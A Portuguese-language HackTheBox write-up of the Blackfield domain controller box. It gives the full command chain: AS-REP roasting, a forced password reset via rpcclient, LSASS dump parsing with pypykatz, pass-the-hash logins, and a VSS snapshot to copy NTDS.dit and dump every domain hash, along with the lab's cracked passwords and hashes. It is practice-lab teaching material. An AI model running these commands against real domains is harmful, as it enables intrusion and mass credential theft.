Informações da Box

PlataformaHackTheBox
DificuldadeHard
SOWindows (Domain Controller)
Técnicas PrincipaisAS-REP Roasting, ForceChangePassword, LSASS Dump Analysis, VSS + NTDS.dit

Resumo do Caminho de Ataque

SMB null session na share profiles$ -> extraiu ~300 usernames potenciais -> AS-REP Roast na conta support -> crackou o hash -> BloodHound mostrou que support tem ForceChangePassword sobre audit2020 -> troquei a senha via rpcclient -> audit2020 tinha acesso à share forensic no SMB -> encontrou lsass.DMP -> pypykatz extraiu o hash NTLM do svc_backup -> evil-winrm como svc_backup -> SeBackupPrivilege -> diskshadow VSS snapshot -> robocopy /b NTDS.dit -> secretsdump -> Domain Admin.

Chain mais longa que já fiz. Cada passo construiu em cima do anterior.


Enumeração

sudo nmap -sCV -p 53,88,135,389,445,593,3268,5985 -Pn -T4 $ip
PortaServiçoNotas
88KerberosDC confirmado
389LDAPDomínio: BLACKFIELD.local
445SMBSigning required
5985WinRMUsado pra shell

SMB — Coleta de Usernames

smbclient //$ip/profiles$ -U '' -N -c 'ls' | awk '{print $1}' | grep -v '^\.' | grep -v '^$' | grep -v 'blocks' > users.txt
# ~300 usernames potenciais da share profiles$

Foothold — AS-REP Roasting

impacket-GetNPUsers BLACKFIELD.local/ -dc-ip $ip -usersfile users.txt -format hashcat -outputfile asrep.txt
# Conta support não tem preauth -> pegou o hash

hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
# Crackou: #00^BlackKnight

Primeiras creds: support:#00^BlackKnight


BloodHound -> ForceChangePassword

bloodhound-python -u 'support' -p '#00^BlackKnight' -ns $ip -d BLACKFIELD.local -c All
# BloodHound: support tem ForceChangePassword sobre audit2020

Troquei a senha do audit2020 sem saber a original:

rpcclient -U 'support%#00^BlackKnight' $ip
rpcclient $> setuserinfo2 audit2020 23 'Password@1234'

Share Forensic -> LSASS Dump

audit2020 tinha acesso à share forensic no SMB contendo dumps de memória.

smbclient //$ip/forensic -U 'BLACKFIELD.local/audit2020%Password@1234'
# Baixei memory_analysis/lsass.DMP
# ATENÇÃO: arquivos .zip vieram com 0 bytes por causa do mget corrompido — use o .DMP direto

Extraiu credenciais do dump do LSASS:

pypykatz lsa minidump lsass.DMP
# Pegou hash NTLM do svc_backup: 9658d1d1dcd9250115e2205d9f48400d
evil-winrm -i $ip -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d'

Escalação de Privilégios — SeBackupPrivilege -> NTDS.dit

svc_backup tinha SeBackupPrivilege e SeRestorePrivilege. Num DC, isso significa que a gente pode pegar o NTDS.dit — o banco de dados de senhas do domínio.

A diferença:

  • reg save hklm\sam = hashes de contas locais. Funciona em qualquer Windows.
  • NTDS.dit = banco de dados de senhas do domínio. Só em DCs. Travado pelo Active Directory — não dá pra copiar direto.
  • VSS (Volume Shadow Copy) cria um snapshot congelado onde o NTDS.dit não tá mais travado.

VSS Snapshot + Cópia do NTDS.dit

# Tem que rodar de um diretório com permissão de escrita — NÃO o Documents
cd C:\Temp

echo "set context persistent nowriters" | out-file C:\Temp\shadow.dsh -encoding ascii
echo "add volume c: alias pwn" | out-file C:\Temp\shadow.dsh -append -encoding ascii
echo "create" | out-file C:\Temp\shadow.dsh -append -encoding ascii
echo "expose %pwn% z:" | out-file C:\Temp\shadow.dsh -append -encoding ascii

diskshadow /s C:\Temp\shadow.dsh
# Shadow copy criada e exposta como Z:\

# Copiar NTDS.dit usando privilégio de backup (flag /b ignora ACLs)
robocopy /b z:\Windows\NTDS\ C:\Temp\ ntds.dit

# Salvar hive SYSTEM
reg save hklm\system C:\Temp\system

# Baixar os dois
download ntds.dit
download system

Secretsdump -> Domain Admin

impacket-secretsdump -ntds ntds.dit -system system LOCAL
# Pegou: Administrator:500:...:184fb5e5178480be64824d4cd53b99ee:::

evil-winrm -i $ip -u 'Administrator' -H '184fb5e5178480be64824d4cd53b99ee'

Credenciais

UsuárioSenha/HashOrigem
support#00^BlackKnightAS-REP Roasting
audit2020Password@1234ForceChangePassword
svc_backup9658d1d1dcd9250115e2205d9f48400d (NTLM)pypykatz no lsass.DMP
Administrator184fb5e5178480be64824d4cd53b99ee (NTLM)secretsdump do NTDS.dit

O que Aprendi

pypykatz — equivalente Linux do Mimikatz. Faz parse de dumps de memória LSASS offline. pypykatz lsa minidump lsass.DMP e pega credenciais de todo usuário que tinha sessão naquela máquina.

VSS + NTDS.dit — num DC, o NTDS.dit é travado pelo AD. Use diskshadow pra criar um snapshot, exponha como uma letra de drive, depois robocopy /b pra copiar com privilégios de backup.

ForceChangePassword via rpcclientsetuserinfo2 <user> 23 '<newpass>' troca a senha de qualquer usuário se tiver a permissão ACL. Não precisa saber a senha original.

SMB mget produz arquivos de 0 bytes pra arquivos grandes às vezes. Sempre confira o tamanho dos arquivos. Use o .DMP direto em vez do .zip.

diskshadow TEM que rodar de um diretório com permissão de escrita. Sempre cd C:\Temp primeiro. Não Documents, não Desktop.

Padrão: “Box DC + SeBackupPrivilege = VSS snapshot -> robocopy /b NTDS.dit -> secretsdump -> todos os hashes do domínio.”